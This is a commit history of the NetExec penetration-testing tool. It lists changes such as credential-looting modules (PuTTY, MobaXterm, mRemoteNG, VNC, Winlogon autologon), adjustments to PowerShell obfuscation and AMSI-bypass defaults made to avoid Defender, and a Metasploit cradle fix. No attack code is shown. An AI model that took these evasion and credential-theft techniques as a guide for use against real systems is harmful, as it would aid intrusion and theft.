Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Marshall Hallenbeck 27a0b78a86 tests: add and update tests related to powershell 2024-05-10 11:37:59 -04:00
Marshall Hallenbeck ca74acd1b1 fix(met_inject): simplify metasploit cradle, add logging, and update documentation; related to #223 2024-05-10 11:37:41 -04:00
Marshall Hallenbeck 27014a5b25 feat(powershell): large amount of fixes and improvements
- large amount of debugging added to powershell
- powershell helper refactored to fix obfuscation, running in 32 bit mode, encoding, etc
- turn off obfuscation by default for powershell, since defender picks it up easily
- turn off amsi-bypass by default, since it was an incredibly old signatured bypass (users can still pass in their own)
- check if virus detected in wmiexec
- more error checking for powershell
- update mssql powershell to match smb
- more error checking for mssql queries
- better handling of quotes for powershell queries, since we have almost 4 layers of quoting (python, mssql, cmd, powershell)
2024-05-10 11:32:16 -04:00
Marshall Hallenbeck 90877ddd63 feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 10:59:40 -04:00
Marshall Hallenbeck 85bcbf312c fix(powershell): fix running via ps32, both with and without obfuscation 2024-05-09 13:06:25 -04:00
Marshall Hallenbeck eb9bf61790 powershell: update powershell parameters, clean up code, and add debugging 2024-05-09 11:58:29 -04:00
Marshall Hallenbeck 2172231729 refactor: remove unnecessary new lines 2024-05-08 14:49:57 -04:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Marshall Hallenbeck 04df1e7641 smb: properly obfs or not depending on args 2024-05-08 12:24:57 -04:00
Marshall Hallenbeck e342c3e26f tests: add what was our default amsi bypass for testing 2024-05-08 12:24:37 -04:00
Marshall Hallenbeck b219e8f7e0 pwsh: remove commented code and remove easily detected amsi bypass (default to none) 2024-05-08 12:24:18 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Sant0rryu 3deabf5787 Adding module to retrieve network interfaces info
Signed-off-by: Sant0rryu <[email protected]>
2024-05-07 17:17:14 +02:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Alexander Neff 4b4036a5a1 Fixing password decryption length 2024-05-05 12:29:49 -04:00
Alexander Neff 193d49cee9 Add realvnc proxy credential looting 2024-05-05 11:26:46 -04:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
Alexander Neff e1f4759faf Merge main into passwords_dump_update 2024-04-29 17:02:12 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
sepauli 4e0b44f6a6 fix extract_password 2024-04-27 22:29:55 +02:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Marshall Hallenbeck 0ffa19debf Merge pull request #272 from Pennyw0rth/neff-fix-ssh
Fix ssh auth message
2024-04-25 10:09:57 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alex 1f8a0ef491 Merge pull request #270 from exploide/ldap-checker-py3.12
ldap-checker: fix for Python 3.12 compatibility
2024-04-21 15:28:08 -04:00
Alex 1ca2fd51b2 Merge pull request #248 from termanix/update_active_users
Ldap active users bug fix
2024-04-21 15:04:13 -04:00
Alexander Neff 71f9fdaa3f Change privilege feedback 2024-04-21 14:03:40 -04:00
Alexander Neff 5208c42aaa Fix ssh auth message 2024-04-21 12:53:49 -04:00
exploide b08c509b3c ldap-checker: use SSLContext.wrap_socket() instead of ssl.wrap_socket() for Python 3.12+ compatibility 2024-04-21 17:44:47 +02:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Alexander Neff 32bc19a0d5 Add logging statement if useraccountcontrol is none 2024-04-21 10:44:50 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alexander Neff f3fd612b56 Update lsassy to 3.1.10 2024-04-18 15:07:10 +02:00
mpgn cd363e97ad Update lsassy.py
it's breaking since update to 3.1.9

Signed-off-by: mpgn <[email protected]>
2024-04-18 15:07:10 +02:00
Alex 4e98f7bb02 Merge pull request #259 from Pennyw0rth/fix_computers_enum 2024-04-17 17:50:42 -04:00
zblurx 16c6ebfe1a fix computers enum 2024-04-17 13:07:25 +02:00
Alex 9662ef69a2 Merge pull request #257 from Pennyw0rth/neff-fix-too-many-files
Fix "Too many open files"
2024-04-16 14:33:03 -04:00
Alexander Neff 5d70195b93 Fix "Too many files" error from discord 2024-04-16 14:02:04 -04:00
Marshall Hallenbeck 7d44b11c2b Merge pull request #255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2024-04-15 20:09:11 -07:00
Marshall Hallenbeck 9e43aab3ee revert STATUS_LOGON_FAILURE change 2024-04-15 13:40:00 -04:00
Marshall Hallenbeck 89d3790aa4 feat(slinky): add SHARES and ICO_URI options; no longer try to write to SYSVOL share 2024-04-13 10:50:21 -07:00
Marshall Hallenbeck fcecda3696 smb(errors): add STATUS_LOGON_FAILURE to errors 2024-04-13 10:50:21 -07:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
Alex d19b5243f1 Merge pull request #254 from Pennyw0rth/neff-ssh
Fix ssh authentication with encrypted ssh file
2024-04-13 01:42:59 +02:00
Alexander Neff 4cabffb525 Fix ssh auth with all key files and fix password processing, also add better exception handling 2024-04-12 16:00:05 -04:00
Alexander Neff b0ccbe28e9 Fix ssh authentication with encrypted ssh file 2024-04-12 15:27:35 -04:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Marshall Hallenbeck af9656eaee Merge pull request #251 from scottymiller9/main
fixed one grammar error repeated in several files
2024-04-08 11:31:26 -07:00
Scott Miller ca09910606 fixed one grammar error repeated in several files 2024-04-08 05:25:06 +00:00
Alex 32b96c23fb Merge branch 'main' into update_active_users 2024-04-07 16:17:28 +02:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Marshall Hallenbeck 9359ac26da Merge pull request #237 from Pennyw0rth/marshall-bugfix-3292024
bugfixes: add-computer & nanodump modules
2024-04-05 10:47:51 -07:00
Alex 2d7ac3c8f1 Merge pull request #246 from Pennyw0rth/neff-fix-168 2024-04-05 13:09:38 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
termanix 09f45e866c Update ldap.py
Fixed ruff spaces

Signed-off-by: termanix <[email protected]>
2024-04-04 23:35:05 +03:00
termanix 98e7128293 Update ldap.py
Fixed ruff

Signed-off-by: termanix <[email protected]>
2024-04-04 23:31:09 +03:00
termanix 3523cd69cf Update ldap.py
Change variable name.

Signed-off-by: termanix <[email protected]>
2024-04-04 22:22:53 +03:00
termanix bd5a645571 Ldap active users bug fix 2024-04-04 22:17:53 +03:00
Alex 2f62e1c875 Merge pull request #247 from Pennyw0rth/neff-fix-binary 2024-04-04 14:54:13 -04:00
Alex 044f63b8f3 Merge branch 'main' into neff-fix-binary 2024-04-04 13:38:58 -04:00
Alexander Neff 0a42ebb6ec Add missing packages to spec file, fixing ldap and pso module 2024-04-04 12:20:38 -04:00
Alex 6104b5d27b Merge branch 'main' into marshall-bugfix-3292024 2024-04-04 11:59:28 -04:00
Alex 3be7a02810 Merge pull request #244 from Pennyw0rth/neff-fix-145
Fix tmp PATH on windows for msol and scuffy
2024-04-04 11:59:06 -04:00
Alexander Neff 13ca79f44f Add verbosity to dpapi, so the user knows if no secrets were found 2024-04-04 11:49:31 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
Alexander Neff dbc67e5ef8 Remove left over brackets 2024-04-03 11:05:07 -04:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
Alex 34ebd5ad54 Fix tmp PATH on windows 2024-04-03 16:52:07 +02:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
zblurx 1f2a29fb90 update poetry 2024-04-03 15:19:54 +02:00
zblurx 205b31b08a update poetry.lock 2024-04-03 10:44:00 +02:00
zblurx 8a23958bd7 update pyproject.toml 2024-04-03 10:43:18 +02:00
zblurx f00a3ae483 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-04-03 10:40:50 +02:00
zblurx 6e28e3580d add mobaxterm module 2024-04-03 10:37:24 +02:00
Alex 5c249d59e5 Merge pull request #239 from Pennyw0rth/marshall-version-setting
Add git commit to version command
2024-04-02 16:14:41 -04:00
Alexander Neff 3e3b37fe1a Fixing lock file 2024-04-02 15:39:48 -04:00
Marshall Hallenbeck 6856d2696a feat(logging): parse debug and verbose args early, so we can properly debug log during cli_arg generation 2024-04-02 13:35:47 -04:00
Alexander Neff 59297e83d5 Fixing lock file 2024-04-02 07:32:56 -04:00
Alexander Neff 41992be628 Merging main into marshall-version-setting 2024-04-02 07:30:36 -04:00
Alex da7c507f3f Merge pull request #126 from Kahvi-0/main
--kerberoast Improvement
2024-04-01 20:57:46 -04:00
Alex 72eeb7e31d Merge branch 'main' into main 2024-04-01 19:46:20 -04:00
Alex cd0d3c8f41 Merge pull request #234 from Pennyw0rth/remove-git-deps
Remove oscrypto and swap back to fortra/impacket
2024-04-01 19:39:20 -04:00
Alexander Neff df4ebf3131 Rewriting lock file 2024-04-01 17:20:46 -04:00
Alex 75e9316104 Merge pull request #242 from Pennyw0rth/neff-qol
Neff qol the second
2024-04-01 17:11:15 -04:00
Marshall Hallenbeck ecf5772e86 fix: attempt to split version, and if it fails, then fallback to normal versioning (only happens with poetry) 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 2562b60344 add version back in for when doing poetry dev, since by default it doesnt leverage build-system 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 7c68ab4db6 add commit output to help print 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck a7b6ccf171 set poetry-core back to >= 1.2 2024-04-01 14:23:41 -04:00
mpgn 0ecdfd3564 fixing dynamic version 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck dd075d4dcf fix(deps): change poerty-core back to 1.2 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck cee3430be7 feat(versioning): add git commit to version command, so we know exactly what code is being ran during issue triage 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 01c4a4479a Merge pull request #235 from Pennyw0rth/users-enum-fix
fix --users for LDAP proto
2024-04-01 12:32:03 -04:00
Marshall Hallenbeck 2e493f788d readd exit(1)s for parameter missing failures 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck e348965910 fix(nanodump): properly pass logger 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck b1a07259db fix(add-computer): remove exit(1)s since it caused tests to fail even though there was no programatic failure 2024-04-01 12:29:33 -04:00
Alexander Neff 59a201a8db Catch known error instead of printing traceback 2024-04-01 11:05:25 -04:00
Alexander Neff c331ebec12 Set default worker amount to /24 subnet 2024-04-01 11:05:07 -04:00
Alex 2457ac0259 Merge pull request #236 from swisskyrepo/winlogon-autologon
Winlogon Autologon module
2024-03-31 21:17:10 -04:00
Alex e14bbaf5a3 Merge branch 'main' into remove-git-deps 2024-03-31 21:12:41 -04:00
Alex e728c15c6d Merge branch 'main' into winlogon-autologon 2024-03-31 13:59:44 -04:00
Alex 0eeddfbf83 Merge pull request #240 from Pennyw0rth/neff-qol
Small QOL changes
2024-03-31 13:54:55 -04:00
Alexander Neff 67bf99b39c Add info log message if connection couldn't be established 2024-03-30 21:09:00 +01:00
Alexander Neff 1ba3d04a1d Fix tests 2024-03-30 21:05:03 +01:00
Alex 4b35ab7a9e Merge pull request #230 from Pennyw0rth/neff-cli
Fix testing and linting
2024-03-30 01:16:56 +01:00
Alex b73eabafdd Merge pull request #238 from Pennyw0rth/Marshall-Hallenbeck-patch-1
rename MAQ.py to maq.py
2024-03-30 01:10:47 +01:00
Alexander Neff 3937f46fd6 Remove casting to lower in module names and rename MAQ.py -> maq.py 2024-03-30 01:01:48 +01:00
Marshall Hallenbeck f6c5073ed9 rename MAQ.py to maq.py
it should not be capitalized

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-29 19:21:04 -04:00
Alexander Neff 8f2c847815 Remove old test.txt 2024-03-29 21:16:35 +01:00
Swissky c659d75ae4 Winlogon Autologon module 2024-03-29 20:36:51 +01:00
zblurx 5f454a177d fix mremoteng module options 2024-03-28 14:27:33 +01:00
zblurx 63d6e19208 Merge branch 'main' into users-enum-fix 2024-03-28 14:21:02 +01:00
zblurx 7cd29c3833 fixed ruff warnings 2024-03-28 14:07:39 +01:00
Alex 114784911c Add py3.12 testing 2024-03-28 14:06:41 +01:00
zblurx 282ddb6383 update lock file 2024-03-28 14:02:22 +01:00
zblurx bcf4202076 Merge branch 'main' into passwords_dump_update 2024-03-28 13:50:08 +01:00
zblurx f1e273f4c8 add mremoteng 2024-03-28 13:49:00 +01:00
Alexander Neff cb40697cef Remove oscrypto and swap back to fortra/impacket 2024-03-27 22:41:15 +01:00
Alexander Neff 4af3705c4f Remove loading tests from linting 2024-03-27 20:44:55 +01:00
Alexander Neff c11a4353ce Remove exception => runner should not fail now 2024-03-27 20:40:45 +01:00
Alexander Neff 0626bbc729 Fix tests 2024-03-27 20:38:51 +01:00
Alexander Neff 4fb457c57a Temporarly add test to linting in order to run test the tests (lol) 2024-03-27 20:37:26 +01:00
Alexander Neff b85add8de9 Add cli testing 2024-03-27 20:35:02 +01:00
Alexander Neff cec36e7e24 Update testing README, rename file to match README and add small test suite 2024-03-27 20:17:05 +01:00
Alexander Neff 840b4dd834 Delete pytest job and add caching 2024-03-27 17:02:01 +01:00
Alex 15d52b778b Merge pull request #231 from Pennyw0rth/marshall-logging-fix 2024-03-27 12:57:15 +01:00
Marshall Hallenbeck eaeda89278 change normal output from DEBUG to INFO 2024-03-27 07:54:23 -04:00
Marshall Hallenbeck 52754f6eba Merge pull request #229 from Pennyw0rth/marshall-logging-fix
Logging fixes (double logging & function caller obfuscation)
2024-03-27 06:35:34 -04:00
zblurx e8a083e58c fix --users for LDAP proto 2024-03-27 11:07:23 +01:00
Alex 69747b9cba Update test.yml 2024-03-27 04:37:14 +01:00
Alex fdcda98d0a Update lint.yml 2024-03-27 04:13:37 +01:00
Alex d03f19eff3 Update lint.yml 2024-03-27 04:12:02 +01:00
Alex deededf441 Update test.yml 2024-03-27 04:11:11 +01:00
Alex 220cecdc0e Update lint.yml 2024-03-27 04:09:11 +01:00
Alexander Neff 32583e94e1 Add ability to trigger test manually 2024-03-27 04:03:46 +01:00
Alexander Neff 9106c9ab0d Lint only on push 2024-03-27 03:58:30 +01:00
Alexander Neff 8235bbdbc0 Fix linting 2024-03-27 03:57:39 +01:00
Alexander Neff e9583ca56c Fix linting 2024-03-27 03:54:31 +01:00
Alexander Neff ffa964647b Fix linting 2024-03-27 03:51:06 +01:00
Alexander Neff c7fcdee1d5 Reenable testing pipeline 2024-03-27 03:49:07 +01:00
Alexander Neff 7a226877e8 Fix testing and linting 2024-03-27 03:42:27 +01:00
Marshall Hallenbeck 22da1831ec fix(logging): do not double log output in debug mode; properly show calling file & lineno for such messages 2024-03-26 21:55:05 -04:00
Alex bf737f186d Merge pull request #227 from Pennyw0rth/neff-ldaps-port
Several ldap bug fixes
2024-03-27 02:36:40 +01:00
Marshall Hallenbeck b80aa433d2 Merge pull request #222 from Pennyw0rth/neff-loggedon_users
Make loggedon-users unique to reduce spam and fix alignment
2024-03-26 20:35:13 -04:00
Marshall Hallenbeck 5bd689177f Merge pull request #228 from termanix/patch-1
Module 'get-desc-users' Update - Marshall's #201 Issue Bug Fix
2024-03-26 16:09:19 -04:00
termanix b122a39b15 Update get-desc-users.py
Removed space

Signed-off-by: termanix <[email protected]>
2024-03-25 17:15:06 +03:00
termanix 41ed36d6fa Marshall's #201 Bug Fix
reges edited and output lines added.

Signed-off-by: termanix <[email protected]>
2024-03-25 17:11:15 +03:00
Alex bfe7e46800 Merge pull request #152 from Pennyw0rth/neff-ldap-domain 2024-03-25 12:37:04 +01:00
Alex 2e311a150b Merge pull request #224 from termanix/Update_active_users
Update LDAP active users lookup to match SMB
2024-03-24 19:05:34 +01:00
Alexander Neff 774f77e719 Fixing output if typo in username, fix indent when querying for specific user and formating 2024-03-24 19:01:29 +01:00
Alexander Neff e691e350a9 Fix wrongly displayed domain when using wmi 2024-03-24 18:24:18 +01:00
Alexander Neff 0917a05188 Fix wrongly displayed domain when using winrm and remove duplicate statement 2024-03-24 18:17:08 +01:00
Alexander Neff 04b0b3aa6b Fix wrongly displayed domain when using domain trust in mssql 2024-03-24 18:07:48 +01:00
Alexander Neff 63f9f3507e Small fix for ldap domain with no-ntlm 2024-03-24 18:07:19 +01:00
Alex 09a50d8043 Merge branch 'main' into neff-ldap-domain 2024-03-24 16:23:13 +01:00
termanix e31742ec67 Merge branch 'main' into Update_active_users 2024-03-24 10:41:37 +03:00
Alex a6935b4d8d Merge pull request #218 from Pennyw0rth/neff-enum_av
Fixing antivirus enumeration
2024-03-24 03:03:28 +01:00
Alexander Neff 041645aed9 Fix ldap not reporting DA when using hash login 2024-03-24 02:46:58 +01:00
Alexander Neff 6a24d76db9 Now adding the message, oops 2024-03-24 02:46:35 +01:00
Alexander Neff eb244948e6 Add log message to explain potential ldap channel binding 2024-03-24 02:44:23 +01:00
Marshall Hallenbeck 8940badc09 Merge pull request #216 from Pennyw0rth/ldap-checker-fix
[ldap-checker] Module fix
2024-03-23 14:04:16 -04:00
Marshall Hallenbeck d8284f9178 Merge pull request #226 from Pennyw0rth/issues/221
BloodHound & hash_spider fixes
2024-03-23 09:59:41 -04:00
Marshall Hallenbeck 934ba6f139 fix(hash_spider): fix old db function call for hosts; fixes #221 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck a9bd576392 fix(bloodhound): fail out right away if Bloodhound is enabled and authentication fails to the API 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck 58d2039553 update default bloodhound password 2024-03-22 14:50:01 -04:00
zblurx a6f09e7166 cleanup 2024-03-22 17:44:31 +01:00
zblurx af9dfcfeb5 vnc module working 2024-03-22 17:35:51 +01:00
termanix 6c3746643e Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:24:41 +03:00
termanix e0b6f571c8 Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:22:10 +03:00
termanix fc40c778fe Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:12:26 +03:00
termanix 9603f8f450 Update ldap.py
Fixed single quotes and blank spaces

Signed-off-by: termanix <[email protected]>
2024-03-22 19:04:40 +03:00
termanix 7c07ab04d7 Update ldap.py
line 914 and 916 Comparison edited to "is"

Signed-off-by: termanix <[email protected]>
2024-03-22 18:58:45 +03:00
termanix c1a2a92816 Update LDAP active users lookup to match SMB 2024-03-22 18:42:33 +03:00
Marshall Hallenbeck 3dc84e1228 Merge pull request #215 from Pennyw0rth/marshall-ldap-users
Update LDAP users lookup to match SMB
2024-03-22 10:50:49 -04:00
Alexander Neff 1e517c8313 Fix ruff 2024-03-22 12:47:40 +01:00
Alexander Neff c123e37d4e Make loggedon-users unique to reduce spam and fix alignment 2024-03-22 12:43:17 +01:00
Alex 58c0529264 Merge branch 'main' into neff-enum_av 2024-03-22 10:36:27 +01:00
Marshall Hallenbeck 40e99913e3 change extra output to debug statement 2024-03-21 20:45:39 -04:00
Marshall Hallenbeck e870a30416 Merge branch 'main' into marshall-ldap-users 2024-03-21 20:25:51 -04:00
Alex fb8c4bcdcd Merge pull request #220 from Pennyw0rth/marshall-proto-print-fix
Fix: module names 8-10 chars being cut off
2024-03-22 01:23:24 +01:00
Marshall Hallenbeck b0ec4b7951 fix(smb): --users display off by one :) 2024-03-21 20:16:43 -04:00
Marshall Hallenbeck e5bba812e8 fix(ldap): off by one :) 2024-03-21 20:12:06 -04:00
Alexander Neff 49e909c50a Formating 2024-03-21 20:12:06 -04:00
Alexander Neff 14e7034352 Formating 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 6a4852e013 fix/feat: remove unnecessary and ugly ldap-attributes functionality; add in badPwdCount to --users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 3a1e93a386 ruff: apply ruff 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 762a9ac102 feat(ldap): allow for adding additional attributes when querying for users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 0eee328ea0 feat(ldap): allow for specifying specific users to dump for ldap and print last password set date 2024-03-21 20:12:06 -04:00
Alex 0608628aff Merge pull request #214 from Pennyw0rth/issue/203
Fix SMB users lookup and return last password set date
2024-03-22 00:48:01 +01:00
Marshall Hallenbeck 020ec1758c samruser: update --user output header 2024-03-21 19:43:00 -04:00
Alexander Neff 1e68591742 Formating 2024-03-21 23:49:35 +01:00
Marshall Hallenbeck 590a4e2536 format(logger): fix some newlining stuff that got messed up during old black formatting 2024-03-21 18:20:18 -04:00
Marshall Hallenbeck 3c1927afd7 fix: modules with a name between 8 and 10 length were being erroneously cut off 2024-03-21 18:16:09 -04:00
Marshall Hallenbeck 9a915f0f24 fix/feat(samruser): add back in bad password count to --users; closes #219 2024-03-21 18:12:40 -04:00
Marshall Hallenbeck 54e6ebb017 samruser: clean auth line up 2024-03-21 17:42:05 -04:00
Alexander Neff 2e196b5a50 Fix ruff linting 2024-03-21 19:09:15 +01:00
Alexander Neff 382af18513 Fixing enum_av process enumeration and adding more info to ESET 2024-03-21 19:06:21 +01:00
Alexander Neff 39bf9b109c Stop neo4j for spamming into the debug log 2024-03-21 19:06:14 +01:00
zblurx e06b28992d fix loot for GoogleRefreshToken 2024-03-21 17:42:12 +01:00
zblurx 0d1b4537a0 update dploot dep 2024-03-21 17:41:50 +01:00
zblurx 5cf6d55679 added sccm module 2024-03-21 17:41:40 +01:00
zblurx e8fe42cb4a fix ruff warning 2024-03-21 17:09:22 +01:00
zblurx addc060077 fix ldap signing check 2024-03-21 17:04:49 +01:00
Marshall Hallenbeck 2a66f36364 fix(users): remove domain from output, since it's implied, and set timestamp to <never> for last set password date if it should be 2024-03-20 21:57:39 -04:00
Marshall Hallenbeck 60f1785608 ruff: apply ruff 2024-03-20 18:03:28 -04:00
Marshall Hallenbeck ce9b766276 fix+feat(smb-users): allow requesting only specific users, print LastPwSet, and functionize more code for future use 2024-03-20 17:57:31 -04:00
Alex ae158614e6 Merge pull request #213 from Pennyw0rth/neff-nullauth-bh
Stop Netexec from adding null auth user to bloodhound
2024-03-20 01:02:31 +01:00
Alexander Neff d885974121 Stop nxc from trying to add null auth creds to bloodhound 2024-03-19 20:01:11 -04:00
Alex e367bf9fa8 Merge pull request #212 from Pennyw0rth/neff-fix-bloodhound-dump
Adding the fileNamePrefix which was introduced in bloodhound so files…
2024-03-20 00:58:43 +01:00
Alex 6b6decd1d7 Merge pull request #208 from Pennyw0rth/neff-fix-207
Revert #190 to enable null-auth without explicit specification
2024-03-20 00:58:15 +01:00
dt bcd0896bc1 Adding the fileNamePrefix which was introduced in bloodhound so files get properly zipped again 2024-03-19 21:24:09 +01:00
Alexander Neff 74b18fdf4e Merge branch 'main' into neff-fix-207 2024-03-18 23:34:36 +01:00
Marshall Hallenbeck e12fef0620 Merge pull request #163 from lodos2005/main
[Module] printerbug
2024-03-18 15:35:16 -04:00
Alexander Neff ca192d8f8e Revert #190 to enable functionality without explicit auth 2024-03-18 15:18:23 -04:00
Alex b62c315440 Merge pull request #65 from sebrink/main 2024-03-18 19:25:06 +01:00
Hakan Yavuz b8099a967a Merge branch 'main' into main 2024-03-17 23:36:38 -07:00
Alexander Neff dff88cb345 Use f-strings and make minor improvements 2024-03-17 02:24:24 +01:00
Alexander Neff 328b25b434 Remove unused import 2024-03-17 01:54:37 +01:00
Alexander Neff 45b02250e6 Merge branch main into neff-ldap-domain 2024-03-16 22:18:42 +01:00
Alexander Neff add1c66375 Remove check that should never happen 2024-03-16 21:33:45 +01:00
Alexander Neff efe59e33f1 Fix ruff linting 2024-03-16 19:26:10 +01:00
Alexander Neff b192c036cb Don't display observation window and lockout duration if lockout threshhold is 0, as they are disabled then 2024-03-16 19:13:11 +01:00
Alexander Neff 4d6d3bf766 Remove unused packages and display pso timedeltas as they are in active directory 2024-03-16 18:53:01 +01:00
Alexander Neff 5f88d6121a Formating and small code improvements 2024-03-16 17:10:19 +01:00
Alexander Neff 0acfc551ac Add missing imports and improve code 2024-03-16 17:03:47 +01:00
Alexander Neff 2e928d2b7c Rename module to match filename and use time conversion with packages already in nxc 2024-03-16 16:52:42 +01:00
Alexander Neff ddd36cc392 Remove unused imports 2024-03-16 16:41:30 +01:00
Alexander Neff a869c6f5e8 Merging main into fgpp and resolving conflicts 2024-03-15 00:56:38 +01:00
Marshall Hallenbeck 5d777547ed Merge pull request #206 from Pennyw0rth/marshall-issue-200-2
fix(wcc.py): properly escape for #200
2024-03-14 16:38:31 -04:00
